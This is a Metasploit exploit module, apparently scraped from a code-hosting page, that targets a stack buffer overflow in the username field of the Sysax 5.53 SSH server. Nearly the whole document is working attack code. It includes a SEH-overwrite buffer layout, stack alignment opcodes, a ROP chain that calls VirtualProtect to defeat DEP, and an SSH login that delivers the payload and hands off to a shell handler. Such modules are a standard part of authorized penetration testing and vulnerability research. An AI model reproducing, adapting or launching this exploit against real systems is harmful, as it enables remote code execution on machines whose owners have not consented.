Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = NormalRanking
8

9
  include Msf::Exploit::Remote::Tcp
10
  include Msf::Exploit::Remote::SSH
11

12
  def initialize(info = {})
13
    super(
14
      update_info(
15
        info,
16
        'Name' => 'Sysax 5.53 SSH Username Buffer Overflow',
17
        'Description' => %q{
18
          This module exploits a vulnerability found in Sysax's SSH service.  By
19
          supplying a long username, the SSH server will copy that data on the stack
20
          without proper bounds checking, therefore allowing remote code execution
21
          under the context of the user.  Please note that previous versions
22
          (before 5.53) are also affected by this bug.
23
        },
24
        'License' => MSF_LICENSE,
25
        'Author' => [
26
          'Craig Freyman', # Initial discovery, PoC
27
          'sinn3r' # Metasploit
28
        ],
29
        'References' => [
30
          ['OSVDB', '79689'],
31
          ['URL', 'http://www.pwnag3.com/2012/02/sysax-multi-server-ssh-username-exploit.html'],
32
          ['EDB', '18535']
33
        ],
34
        'Payload' => {
35
          'Space' => 1024,
36
          'BadChars' => "\x00\x3a",
37
          'StackAdjustment' => -3500
38
        },
39
        'DefaultOptions' => {
40
          'EXITFUNC' => 'seh'
41
        },
42
        'Platform' => 'win',
43
        'Targets' => [
44
          [
45
            'Sysax 5.53 on Win XP SP3 / Win2k3 SP0',
46
            {
47
              'Rop' => false,
48
              'Ret' => 0x00402669 # POP/POP/RET - sysaxservd.exe
49
            }
50
          ],
51
          [
52
            'Sysax 5.53 on Win2K3 SP1/SP2',
53
            {
54
              'Rop' => true,
55
              'Ret' => 0x0046d23c # ADD ESP, 0F8C # RETN
56
            }
57
          ]
58
        ],
59
        'Privileged' => false,
60
        'DisclosureDate' => '2012-02-27',
61
        'DefaultTarget' => 0
62
      )
63
    )
64

65
    register_options(
66
      [ OptInt.new('RPORT', [false, 'The target port', 22]) ]
67
    )
68
  end
69

70
  def check
71
    begin
72
      connect
73
      banner = sock.get_once(-1, 5) || ''
74
      disconnect
75
      vprint_status("Banner: #{banner}")
76
      if banner.match?(/SSH-2\.0-SysaxSSH_1\.0/)
77
        return Exploit::CheckCode::Appears
78
      end
79
    rescue StandardError
80
      vprint_error('An error has occurred while trying to read a response from target')
81
      return Exploit::CheckCode::Unknown
82
    end
83

84
    Exploit::CheckCode::Safe
85
  end
86

87
  def generate_regular_exploit
88
    #
89
    # Align the stack to the beginning of the fixed size payload
90
    #
91
    align = "\x54" # PUSH ESP
92
    align << "\x58"              # POP EAX
93
    align << "\x04\x08"          # ADD AL,0x08
94
    align << "\x8b\x18"          # MOV EBX, [EAX]
95
    align << "\x93"              # XCHG EAX,EBX
96
    align << "\x66\x2d\x10\x04"  # SUB AX,0x361
97
    align << "\x50"              # PUSH EAX
98
    align << "\xc3"              # RET
99

100
    #
101
    # Our payload limited to 1024+4 bytes
102
    #
103
    p = make_nops(4)
104
    p << payload.encoded
105

106
    #
107
    # Craft the buffer like this:
108
    # [392 bytes][20 bytes][< 9404 bytes][payload][alignment][nseh][seh]
109
    # * The 20-byte region is where our source IP is written. 20 bytes gives it enough room
110
    #   for the IP length, so the next 9404-byte space will begin at a consistent place.
111
    # * After SEH, we have ~1860 bytes, but we don't need that because we're doing a
112
    #   partial-overwrite to allow a null byte in SEH.
113
    #
114
    buf = ''
115
    buf << rand_text(392, payload_badchars)
116
    buf << rand_text(20, payload_badchars)
117
    buf << rand_text(9204 - buf.length - align.length - p.length, payload_badchars) # 8796+392+20
118
    buf << p
119
    buf << align
120
    buf << "\xeb" + [0 - align.length - 2].pack('c') + make_nops(2) # Short jmp back
121
    buf << [target.ret].pack('V*')
122
    buf
123
  end
124

125
  def generate_rop_exploit
126
    junk = rand_text(4).unpack('L')[0].to_i
127
    nop = make_nops(4).unpack('L')[0].to_i
128

129
    # !mona rop -m msvcrt
130
    p =
131
      [
132
        0x77bb2563, # POP EAX # RETN
133
        0x77ba1114, # <- *&VirtualProtect()
134
        0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
135
        junk,
136
        0x77bb0c86, # XCHG EAX,ESI # RETN
137
        0x77bc9801, # POP EBP # RETN
138
        0x77be2265, # ptr to 'push esp #  ret'
139
        0x77bb2563, # POP EAX # RETN
140
        0x03C0990F,
141
        0x77bdd441, # SUB EAX, 03c0940f
142
        0x77bb48d3, # POP EBX, RET
143
        0x77bf21e0, # .data
144
        0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
145
        0x77bbfc02, # POP ECX # RETN
146
        0x77bef001, # W pointer (lpOldProtect) (-> ecx)
147
        0x77bd8c04, # POP EDI # RETN
148
        0x77bd8c05, # ROP NOP (-> edi)
149
        0x77bb2563, # POP EAX # RETN
150
        0x03c0984f,
151
        0x77bdd441, # SUB EAX, 03c0940f
152
        0x77bb8285, # XCHG EAX,EDX # RETN
153
        0x77bb2563, # POP EAX # RETN
154
        nop,
155
        0x77be6591, # PUSHAD # ADD AL,0EF # RETN
156
      ].pack('V*')
157

158
    p << payload.encoded
159

160
    #
161
    # Similar buffer structure to generate_regular_exploit
162
    #
163
    buf = ''
164
    buf << rand_text(392, payload_badchars)
165
    buf << rand_text(20, payload_badchars)
166
    buf << rand_text(1012, payload_badchars)
167
    buf << p
168
    buf << rand_text(9204 - buf.length)
169
    buf << rand_text(4, payload_badchars)
170
    buf << [target.ret].pack('V*')
171
    buf
172
  end
173

174
  def exploit
175
    #
176
    # Create buffer based on target (DEP or no DEP)
177
    # If possible, we still prefer to use the regular version because it's more stable
178
    #
179
    if target['Rop']
180
      buf = generate_rop_exploit
181
    else
182
      buf = generate_regular_exploit
183
    end
184

185
    #
186
    # Send the malicious buffer
187
    #
188
    pass = rand_text_alpha(8)
189
    begin
190
      print_status("Sending malicious request to #{rhost}:#{rport}...")
191
      factory = ssh_socket_factory
192
      ssh = Net::SSH.start(
193
        datastore['RHOST'],
194
        buf,
195
        password: pass,
196
        port: datastore['RPORT'],
197
        timeout: 1,
198
        proxy: factory,
199
        config: false,
200
        non_interactive: true,
201
        verify_host_key: :never
202
      )
203

204
      ::Timeout.timeout(1) { ssh.close }
205
    rescue Errno::ECONNREFUSED
206
      print_error("Cannot establish a connection on #{rhost}:#{rport}")
207
      return
208
    rescue StandardError => e
209
      if e.message.match?(/fingerprint [0-9a-z:]+ does not match/)
210
        print_error("Please remove #{rhost}:#{rport} from your known_hosts list")
211
        return
212
      end
213
    end
214

215
    handler(ssh)
216
  end
217
end
218

219